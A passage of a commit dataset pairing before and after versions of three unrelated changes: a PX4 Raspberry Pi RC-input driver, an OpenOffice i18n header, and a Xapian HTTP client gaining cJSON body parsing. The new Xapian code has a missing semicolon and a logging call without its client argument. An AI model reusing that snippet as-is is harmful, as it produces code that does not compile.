RcInput::start()\n{\n\tint result = 0;\n\n\tresult = rpi_rc_init();\n\n\tif (result != 0) {\n\t\tPX4_WARN(\"error: RC initialization failed\");\n\t\treturn -1;\n\t}\n\n\t_isRunning = true;\n\tresult = work_queue(HPWORK, &_work, (worker_t) & RcInput::cycle_trampoline,\n\t\t\t    this, 0);\n\n\tif (result == -1) {\n\t\t_isRunning = false;\n\t}\n\n\treturn result;\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::stop()\n{\n\t_shouldExit = true;\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::cycle_trampoline(void *arg)\n{\n\tRcInput *dev = reinterpret_cast<RcInput *>(arg);\n\tdev->_cycle();\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::_cycle()\n{\n\t_measure();\n\n\tif (!_shouldExit) {\n\t\twork_queue(HPWORK, &_work, (worker_t) & RcInput::cycle_trampoline, this,\n\t\t\t   USEC2TICK(RCINPUT_MEASURE_INTERVAL_US));\n\t}\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::_measure(void)\n{\n\tuint64_t ts;\n\t\/\/ PWM数据发布\n\t\/\/ read pwm value from shared memory\n\tint i = 0;\n\n\tfor (i = 0; i < _channels; ++i) {\n\t\t_data.values[i] = (*(this->mem + i) <= 0) ? UINT16_MAX : *(this->mem + i);\n\t}\n\n\tts = hrt_absolute_time();\n\t_data.timestamp = ts;\n\t_data.timestamp_last_signal = ts;\n\t_data.channel_count = _channels;\n\t_data.rssi = 100;\n\t_data.rc_lost_frame_count = 0;\n\t_data.rc_total_frame_count = 1;\n\t_data.rc_ppm_frame_length = 100;\n\t_data.rc_failsafe = false;\n\t_data.rc_lost = false;\n\t_data.input_source = input_rc_s::RC_INPUT_SOURCE_PX4IO_PPM;\n\n\torb_publish(ORB_ID(input_rc), _rcinput_pub, &_data);\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\n\/**\n * Print the correct usage.\n *\/\n\nstatic void rpi_rc_in::usage(const char *reason)\n{\n\tif (reason) {\n\t\tPX4_ERR(\"%s\", reason);\n\t}\n\n\tPX4_INFO(\"用法: rpi_rc_in {start|stop|status}\");\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nint rpi_rc_in_main(int argc, char **argv)\n{\n\tif (argc < 2) {\n\t\tusage(\"missing command\");\n\t\treturn 1;\n\t}\n\n\tif (!strcmp(argv[1], \"start\")) {\n\n\t\tif (rc_input != nullptr && rc_input->isRunning()) {\n\t\t\tPX4_WARN(\"运行中。running\");\n\t\t\t\/* this is not an error *\/\n\t\t\treturn 0;\n\t\t}\n\n\t\trc_input = new RcInput();\n\n\t\t\/\/ Check if alloc worked.\n\t\tif (nullptr == rc_input) {\n\t\t\tPX4_ERR(\"遥控输入模块初始化错误。Rc input moduel  initialization faild\");\n\t\t\treturn -1;\n\t\t}\n\n\t\tint ret = rc_input->start();\n\n\t\tif (ret != 0) {\n\t\t\tPX4_ERR(\"遥控输入模块未能启动。 Rc input module failure\");\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tif (!strcmp(argv[1], \"stop\")) {\n\n\t\tif (rc_input == nullptr || !rc_input->isRunning()) {\n\t\t\tPX4_WARN(\"模块未运行。 Not runing\");\n\t\t\t\/* this is not an error *\/\n\t\t\treturn 0;\n\t\t}\n\n\t\trc_input->stop();\n\n\t\t\/\/ Wait for task to die\n\t\tint i = 0;\n\n\t\tdo {\n\t\t\t\/* wait up to 3s *\/\n\t\t\tusleep(100000);\n\n\t\t} while (rc_input->isRunning() && ++i < 30);\n\n\t\tdelete rc_input;\n\t\trc_input = nullptr;\n\n\t\treturn 0;\n\t}\n\n\tif (!strcmp(argv[1], \"status\")) {\n\t\tif (rc_input != nullptr && rc_input->isRunning()) {\n\t\t\tPX4_INFO(\"运行中。 running\");\n\n\t\t} else {\n\t\t\tPX4_INFO(\"未运行。 Not runing\\n\");\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tusage(\"不知道你要做什么。 rpi_rc_in start|stop|status\");\n\treturn 1;\n\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\n<commit_msg>Check _rcinput_pub is null.<commit_after>\/****************************************************************************\n *\n *   Copyright (C) 2015 Mark Charl. All rights reserved.\n *   Copyright (C) 2017 Fan.zhang. All rights reserved. 421395590@qq.com\n *   Copyright (C) 2016 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n#include \"rpi_rc_in.h\"\n\nusing namespace rpi_rc_in;\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nint RcInput::rpi_rc_init()\n{\n\tint i;\n\n\t\/\/--------------初始化共享内存映射----------------------------\/\/\n\tif ((this->shmid = shmget(this->key, sizeof(int) * this->_channels, 0666))\n\t    < 0) {\n\t\tPX4_WARN(\"无法访问共享内存。Faild to access shared memory\");\n\t\treturn -1;\n\t}\n\n\tif ((this->mem = (int *) shmat(this->shmid, NULL, 0)) == (void *) - 1) {\n\t\tPX4_WARN(\"无法映射共享内存。Faild to mapping shared memory\");\n\t\treturn -1;\n\t}\n\n\t\/\/--------------发布所有通道的数据------------------------\/\/\n\tfor (i = 0; i < input_rc_s::RC_INPUT_MAX_CHANNELS; ++i) {\n\t\t_data.values[i] = UINT16_MAX;\n\t}\n\n\t_rcinput_pub = orb_advertise(ORB_ID(input_rc), &_data);\n\n\tif (_rcinput_pub == nullptr) {\n\t\tPX4_WARN(\"error: advertise failed\");\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nint RcInput::start()\n{\n\tint result = 0;\n\n\tresult = rpi_rc_init();\n\n\tif (result != 0) {\n\t\tPX4_WARN(\"error: RC initialization failed\");\n\t\treturn -1;\n\t}\n\n\t_isRunning = true;\n\tresult = work_queue(HPWORK, &_work, (worker_t) & RcInput::cycle_trampoline,\n\t\t\t    this, 0);\n\n\tif (result == -1) {\n\t\t_isRunning = false;\n\t}\n\n\treturn result;\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::stop()\n{\n\t_shouldExit = true;\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::cycle_trampoline(void *arg)\n{\n\tRcInput *dev = reinterpret_cast<RcInput *>(arg);\n\tdev->_cycle();\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::_cycle()\n{\n\t_measure();\n\n\tif (!_shouldExit) {\n\t\twork_queue(HPWORK, &_work, (worker_t) & RcInput::cycle_trampoline, this,\n\t\t\t   USEC2TICK(RCINPUT_MEASURE_INTERVAL_US));\n\t}\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nvoid RcInput::_measure(void)\n{\n\tuint64_t ts;\n\t\/\/ PWM数据发布\n\t\/\/ read pwm value from shared memory\n\tint i = 0;\n\n\tfor (i = 0; i < _channels; ++i) {\n\t\t_data.values[i] = (*(this->mem + i) <= 0) ? UINT16_MAX : *(this->mem + i);\n\t}\n\n\tts = hrt_absolute_time();\n\t_data.timestamp = ts;\n\t_data.timestamp_last_signal = ts;\n\t_data.channel_count = _channels;\n\t_data.rssi = 100;\n\t_data.rc_lost_frame_count = 0;\n\t_data.rc_total_frame_count = 1;\n\t_data.rc_ppm_frame_length = 100;\n\t_data.rc_failsafe = false;\n\t_data.rc_lost = false;\n\t_data.input_source = input_rc_s::RC_INPUT_SOURCE_PX4IO_PPM;\n\n\tif (nullptr == _rcinput_pub) {\n\t\tint instance;\n\t\t_rcinput_pub = orb_advertise_multi(ORB_ID(input_rc), &_data, &instance, ORB_PRIO_DEFAULT);\n\n\t} else {\n\t\torb_publish(ORB_ID(input_rc), _rcinput_pub, &_data);\n\t}\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\n\/**\n * Print the correct usage.\n *\/\n\nstatic void rpi_rc_in::usage(const char *reason)\n{\n\tif (reason) {\n\t\tPX4_ERR(\"%s\", reason);\n\t}\n\n\tPX4_INFO(\"用法: rpi_rc_in {start|stop|status}\");\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\nint rpi_rc_in_main(int argc, char **argv)\n{\n\tif (argc < 2) {\n\t\tusage(\"missing command\");\n\t\treturn 1;\n\t}\n\n\tif (!strcmp(argv[1], \"start\")) {\n\n\t\tif (rc_input != nullptr && rc_input->isRunning()) {\n\t\t\tPX4_WARN(\"运行中。running\");\n\t\t\t\/* this is not an error *\/\n\t\t\treturn 0;\n\t\t}\n\n\t\trc_input = new RcInput();\n\n\t\t\/\/ Check if alloc worked.\n\t\tif (nullptr == rc_input) {\n\t\t\tPX4_ERR(\"遥控输入模块初始化错误。Rc input moduel  initialization faild\");\n\t\t\treturn -1;\n\t\t}\n\n\t\tint ret = rc_input->start();\n\n\t\tif (ret != 0) {\n\t\t\tPX4_ERR(\"遥控输入模块未能启动。 Rc input module failure\");\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tif (!strcmp(argv[1], \"stop\")) {\n\n\t\tif (rc_input == nullptr || !rc_input->isRunning()) {\n\t\t\tPX4_WARN(\"模块未运行。 Not runing\");\n\t\t\t\/* this is not an error *\/\n\t\t\treturn 0;\n\t\t}\n\n\t\trc_input->stop();\n\n\t\t\/\/ Wait for task to die\n\t\tint i = 0;\n\n\t\tdo {\n\t\t\t\/* wait up to 3s *\/\n\t\t\tusleep(100000);\n\n\t\t} while (rc_input->isRunning() && ++i < 30);\n\n\t\tdelete rc_input;\n\t\trc_input = nullptr;\n\n\t\treturn 0;\n\t}\n\n\tif (!strcmp(argv[1], \"status\")) {\n\t\tif (rc_input != nullptr && rc_input->isRunning()) {\n\t\t\tPX4_INFO(\"运行中。 running\");\n\n\t\t} else {\n\t\t\tPX4_INFO(\"未运行。 Not runing\\n\");\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tusage(\"不知道你要做什么。 rpi_rc_in start|stop|status\");\n\treturn 1;\n\n}\n\/\/---------------------------------------------------------------------------------------------------------\/\/\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>update: Setting for SCI\/I2C port<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: inputsequencechecker.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: vg $ $Date: 2003-04-24 11:03:04 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _I18N_INPUTCHECKER_HXX_\n#define _I18N_INPUTCHECKER_HXX_\n\n#include <comphelper\/processfactory.hxx>\n#include <cppuhelper\/implbase2.hxx> \/\/ helper for implementations\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#include <com\/sun\/star\/i18n\/XInputSequenceChecker.hpp>\n\n#include <tools\/list.hxx>\n\nnamespace com { namespace sun { namespace star { namespace i18n {\n\n\/\/  ----------------------------------------------------\n\/\/  class InputSequenceCheckerImpl\n\/\/  ----------------------------------------------------\nclass InputSequenceCheckerImpl : public cppu::WeakImplHelper2\n<\n    com::sun::star::i18n::XInputSequenceChecker,\n    com::sun::star::lang::XServiceInfo\n>\n{\npublic:\n    InputSequenceCheckerImpl( const com::sun::star::uno::Reference < com::sun::star::lang::XMultiServiceFactory >& rxMSF );\n    InputSequenceCheckerImpl();\n    ~InputSequenceCheckerImpl();\n\n    virtual sal_Bool SAL_CALL checkInputSequence(const rtl::OUString& Text, sal_Int32 nStartPos,\n        sal_Unicode inputChar, sal_Int16 inputCheckMode) throw(com::sun::star::uno::RuntimeException);\n\n    \/\/XServiceInfo\n    virtual rtl::OUString SAL_CALL getImplementationName() throw( com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL supportsService(const rtl::OUString& ServiceName)\n        throw( com::sun::star::uno::RuntimeException );\n    virtual com::sun::star::uno::Sequence< rtl::OUString > SAL_CALL getSupportedServiceNames()\n        throw( com::sun::star::uno::RuntimeException );\n\nprotected:\n    sal_Int16 checkMode;\n    sal_Char *serviceName;\n\nprivate :\n    struct lookupTableItem {\n        lookupTableItem(const sal_Char* rLanguage, const com::sun::star::uno::Reference < com::sun::star::i18n::XInputSequenceChecker >& rxISC) :\n            aLanguage(rLanguage), xISC(rxISC) {}\n        const sal_Char* aLanguage;\n        com::sun::star::uno::Reference < com::sun::star::i18n::XInputSequenceChecker > xISC;\n    };\n    List lookupTable;\n    lookupTableItem *cachedItem;\n\n    com::sun::star::uno::Reference < com::sun::star::lang::XMultiServiceFactory > xMSF;\n\n    com::sun::star::uno::Reference< com::sun::star::i18n::XInputSequenceChecker >& SAL_CALL getInputSequenceChecker(sal_Char* rLanguage)\n        throw (com::sun::star::uno::RuntimeException);\n    sal_Char* SAL_CALL getLanguageByScripType(sal_Unicode cChar, sal_Unicode nChar);\n};\n\n} } } }\n\n#endif \/\/ _I18N_BREAKITERATOR_HXX_\n<commit_msg>INTEGRATION: CWS i18n10 (1.3.48); FILE MERGED 2003\/12\/17 20:08:41 khong 1.3.48.1: #i22138# #112506# migrate to ICU collator and remove link to tool library<commit_after>\/*************************************************************************\n *\n *  $RCSfile: inputsequencechecker.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2004-01-20 13:19:01 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _I18N_INPUTCHECKER_HXX_\n#define _I18N_INPUTCHECKER_HXX_\n\n#include <comphelper\/processfactory.hxx>\n#include <cppuhelper\/implbase2.hxx> \/\/ helper for implementations\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#include <com\/sun\/star\/i18n\/XInputSequenceChecker.hpp>\n\n#include <vector>\n\nnamespace com { namespace sun { namespace star { namespace i18n {\n\n\/\/  ----------------------------------------------------\n\/\/  class InputSequenceCheckerImpl\n\/\/  ----------------------------------------------------\nclass InputSequenceCheckerImpl : public cppu::WeakImplHelper2\n<\n    com::sun::star::i18n::XInputSequenceChecker,\n    com::sun::star::lang::XServiceInfo\n>\n{\npublic:\n    InputSequenceCheckerImpl( const com::sun::star::uno::Reference < com::sun::star::lang::XMultiServiceFactory >& rxMSF );\n    InputSequenceCheckerImpl();\n    ~InputSequenceCheckerImpl();\n\n    virtual sal_Bool SAL_CALL checkInputSequence(const rtl::OUString& Text, sal_Int32 nStartPos,\n        sal_Unicode inputChar, sal_Int16 inputCheckMode) throw(com::sun::star::uno::RuntimeException);\n\n    \/\/XServiceInfo\n    virtual rtl::OUString SAL_CALL getImplementationName() throw( com::sun::star::uno::RuntimeException );\n    virtual sal_Bool SAL_CALL supportsService(const rtl::OUString& ServiceName)\n        throw( com::sun::star::uno::RuntimeException );\n    virtual com::sun::star::uno::Sequence< rtl::OUString > SAL_CALL getSupportedServiceNames()\n        throw( com::sun::star::uno::RuntimeException );\n\nprotected:\n    sal_Int16 checkMode;\n    const sal_Char *serviceName;\n\nprivate :\n    struct lookupTableItem {\n        lookupTableItem(const sal_Char* rLanguage, const com::sun::star::uno::Reference < com::sun::star::i18n::XInputSequenceChecker >& rxISC) :\n            aLanguage(rLanguage), xISC(rxISC) {}\n        const sal_Char* aLanguage;\n        com::sun::star::uno::Reference < com::sun::star::i18n::XInputSequenceChecker > xISC;\n    };\n    std::vector<lookupTableItem*> lookupTable;\n    lookupTableItem *cachedItem;\n\n    com::sun::star::uno::Reference < com::sun::star::lang::XMultiServiceFactory > xMSF;\n\n    com::sun::star::uno::Reference< com::sun::star::i18n::XInputSequenceChecker >& SAL_CALL getInputSequenceChecker(sal_Char* rLanguage)\n        throw (com::sun::star::uno::RuntimeException);\n    sal_Char* SAL_CALL getLanguageByScripType(sal_Unicode cChar, sal_Unicode nChar);\n};\n\n} } } }\n\n#endif \/\/ _I18N_BREAKITERATOR_HXX_\n<|endoftext|>"}
{"text":"<commit_before>#include <sys\/socket.h>\n\n#include \"utils.h\"\n\n#include \"client_http.h\"\n\n\/\/\n\/\/ Xapian http client\n\/\/\n\nHttpClient::HttpClient(ev::loop_ref *loop, int sock_, DatabasePool *database_pool_, double active_timeout_, double idle_timeout_)\n\t: BaseClient(loop, sock_, database_pool_, active_timeout_, idle_timeout_)\n{\n\tparser.data = this;\n\thttp_parser_init(&parser, HTTP_REQUEST);\n\tLOG_CONN(this, \"Got connection (sock=%d), %d http client(s) connected.\\n\", sock, ++total_clients);\n}\n\n\nHttpClient::~HttpClient()\n{\n\ttotal_clients--;\n}\n\n\nvoid HttpClient::on_read(const char *buf, ssize_t received)\n{\t\n\tsize_t parsed = http_parser_execute(&parser, &settings, buf, received);\n\tif (parsed == received) {\n\t\tif (parser.state == 1 || parser.state == 18) { \/\/ dead or message_complete\n\t\t\ttry {\n\t\t\t\t\/\/\t\t\t\t\tLOG_HTTP_PROTO(this, \"METHOD: %d\\n\", parser.method);\n\t\t\t\t\/\/\t\t\t\t\tLOG_HTTP_PROTO(this, \"PATH: '%s'\\n\", repr(path).c_str());\n\t\t\t\t\/\/\t\t\t\t\tLOG_HTTP_PROTO(this, \"BODY: '%s'\\n\", repr(body).c_str());\n\t\t\t\tchar tmp[20];\n\t\t\t\tstd::string body(\"OK!\");\n\t\t\t\tstd::string response;\n\t\t\t\tresponse += \"HTTP\/\";\n\t\t\t\tsprintf(tmp, \"%d.%d\", parser.http_major, parser.http_minor);\n\t\t\t\tresponse += tmp;\n\t\t\t\tresponse += \" 200 OK\\r\\n\";\n\t\t\t\tresponse += \"Content-Length: \";\n\t\t\t\tsprintf(tmp, \"%ld\", body.size());\n\t\t\t\tresponse += tmp;\n\t\t\t\tresponse += \"\\r\\n\";\n\t\t\t\twrite(response + \"\\r\\n\" + body);\n\t\t\t\tif (parser.state == 1) close();\n\t\t\t} catch (...) {\n\t\t\t\tLOG_ERR(this, \"ERROR!\\n\");\n\t\t\t}\n\t\t}\n\t} else {\n\t\tenum http_errno err = HTTP_PARSER_ERRNO(&parser);\n\t\tconst char *desc = http_errno_description(err);\n\t\tconst char *msg = err != HPE_OK ? desc : \"incomplete request\";\n\t\tLOG_HTTP_PROTO(this, msg);\n\t\t\/\/ Handle error. Just close the connection.\n\t\tdestroy();\n\t}\n}\n\n\n\/\/\n\/\/ HTTP parser callbacks.\n\/\/\n\nconst http_parser_settings HttpClient::settings = {\n\t.on_message_begin = HttpClient::on_info,\n\t.on_url = HttpClient::on_data,\n\t.on_status = HttpClient::on_data,\n\t.on_header_field = HttpClient::on_data,\n\t.on_header_value = HttpClient::on_data,\n\t.on_headers_complete = HttpClient::on_info,\n\t.on_body = HttpClient::on_data,\n\t.on_message_complete = HttpClient::on_info\n};\n\n\nint HttpClient::on_info(http_parser* p) {\n\tHttpClient *self = static_cast<HttpClient *>(p->data);\n\n\tLOG_HTTP_PROTO_PARSER(self, \"%3d. (INFO)\\n\", p->state);\n\n\tswitch (p->state) {\n\t\tcase 18:  \/\/ message_complete\n\t\t\tbreak;\n\t\tcase 19:  \/\/ message_begin\n\t\t\tself->path.clear();\n\t\t\tself->body.clear();\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\n\nint HttpClient::on_data(http_parser* p, const char *at, size_t length) {\n\tHttpClient *self = static_cast<HttpClient *>(p->data);\n\n\tLOG_HTTP_PROTO_PARSER(self, \"%3d. %s\\n\", p->state, repr(at, length).c_str());\n\n\tswitch (p->state) {\n\t\tcase 32: \/\/ path\n\t\t\tself->path = std::string(at, length);\n\t\t\tbreak;\n\t\tcase 62: \/\/ data\n\t\t\tself->body = std::string(at, length);\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n<commit_msg>Added cJSON and example in HttpClient<commit_after>#include <sys\/socket.h>\n\n#include \"utils.h\"\n#include \"cJSON.h\"\n\n#include \"client_http.h\"\n\n\/\/\n\/\/ Xapian http client\n\/\/\n\nHttpClient::HttpClient(ev::loop_ref *loop, int sock_, DatabasePool *database_pool_, double active_timeout_, double idle_timeout_)\n\t: BaseClient(loop, sock_, database_pool_, active_timeout_, idle_timeout_)\n{\n\tparser.data = this;\n\thttp_parser_init(&parser, HTTP_REQUEST);\n\tLOG_CONN(this, \"Got connection (sock=%d), %d http client(s) connected.\\n\", sock, ++total_clients);\n}\n\n\nHttpClient::~HttpClient()\n{\n\ttotal_clients--;\n}\n\n\nvoid HttpClient::on_read(const char *buf, ssize_t received)\n{\t\n\tsize_t parsed = http_parser_execute(&parser, &settings, buf, received);\n\tif (parsed == received) {\n\t\tif (parser.state == 1 || parser.state == 18) { \/\/ dead or message_complete\n\t\t\ttry {\n\t\t\t\t\/\/\t\t\t\t\tLOG_HTTP_PROTO(this, \"METHOD: %d\\n\", parser.method);\n\t\t\t\t\/\/\t\t\t\t\tLOG_HTTP_PROTO(this, \"PATH: '%s'\\n\", repr(path).c_str());\n\t\t\t\t\/\/\t\t\t\t\tLOG_HTTP_PROTO(this, \"BODY: '%s'\\n\", repr(body).c_str());\n\n\t\t\t\tstd::string content;\n\t\t\t\tcJSON *json = cJSON_Parse(body.c_str());\n\t\t\t\tcJSON *query = json ? cJSON_GetObjectItem(json, \"query\") : NULL;\n\t\t\t\tcJSON *term = query ? cJSON_GetObjectItem(query, \"term\") : NULL;\n\t\t\t\tcJSON *text = term ? cJSON_GetObjectItem(term, \"text\") : NULL;\n\t\t\t\tif (text) {\n\t\t\t\t\tcontent = \"OK: \";\n\t\t\t\t\tcontent += text->valuestring;\n\t\t\t\t} else {\n\t\t\t\t\tcontent = \"ERROR!\"\n\t\t\t\t\tLOG_HTTP_PROTO(\"Error before: [%s]\\n\", cJSON_GetErrorPtr());\n\t\t\t\t}\n\t\t\t\tcJSON_Delete(json);\n\n\t\t\t\tchar tmp[20];\n\t\t\t\tstd::string response;\n\t\t\t\tresponse += \"HTTP\/\";\n\t\t\t\tsprintf(tmp, \"%d.%d\", parser.http_major, parser.http_minor);\n\t\t\t\tresponse += tmp;\n\t\t\t\tresponse += \" 200 OK\\r\\n\";\n\t\t\t\tresponse += \"Content-Length: \";\n\t\t\t\tsprintf(tmp, \"%ld\", content.size());\n\t\t\t\tresponse += tmp;\n\t\t\t\tresponse += \"\\r\\n\";\n\t\t\t\twrite(response + \"\\r\\n\" + content);\n\t\t\t\tif (parser.state == 1) close();\n\t\t\t} catch (...) {\n\t\t\t\tLOG_ERR(this, \"ERROR!\\n\");\n\t\t\t}\n\t\t}\n\t} else {\n\t\tenum http_errno err = HTTP_PARSER_ERRNO(&parser);\n\t\tconst char *desc = http_errno_description(err);\n\t\tconst char *msg = err != HPE_OK ? desc : \"incomplete request\";\n\t\tLOG_HTTP_PROTO(this, msg);\n\t\t\/\/ Handle error. Just close the connection.\n\t\tdestroy();\n\t}\n}\n\n\n\/\/\n\/\/ HTTP parser callbacks.\n\/\/\n\nconst http_parser_settings HttpClient::settings = {\n\t.on_message_begin = HttpClient::on_info,\n\t.on_url = HttpClient::on_data,\n\t.on_status = HttpClient::on_data,\n\t.on_header_field = HttpClient::on_data,\n\t.on_header_value = HttpClient::on_data,\n\t.on_headers_complete = HttpClient::on_info,\n\t.on_body = HttpClient::on_data,\n\t.on_message_complete = HttpClient::on_info\n};\n\n\nint HttpClient::on_info(http_parser* p) {\n\tHttpClient *self = static_cast<HttpClient *>(p->data);\n\n\tLOG_HTTP_PROTO_PARSER(self, \"%3d. (INFO)\\n\", p->state);\n\n\tswitch (p->state) {\n\t\tcase 18:  \/\/ message_complete\n\t\t\tbreak;\n\t\tcase 19:  \/\/ message_begin\n\t\t\tself->path.clear();\n\t\t\tself->body.clear();\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\n\nint HttpClient::on_data(http_parser* p, const char *at, size_t length) {\n\tHttpClient *self = static_cast<HttpClient *>(p->data);\n\n\tLOG_HTTP_PROTO_PARSER(self, \"%3d. %s\\n\", p->state, repr(at, length).c_str());\n\n\tswitch (p->state) {\n\t\tcase 32: \/\/ path\n\t\t\tself->path = std::string(at, length);\n\t\t\tbreak;\n\t\tcase 62: \/\/ data\n\t\t\tself->body = std::string(at, length);\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
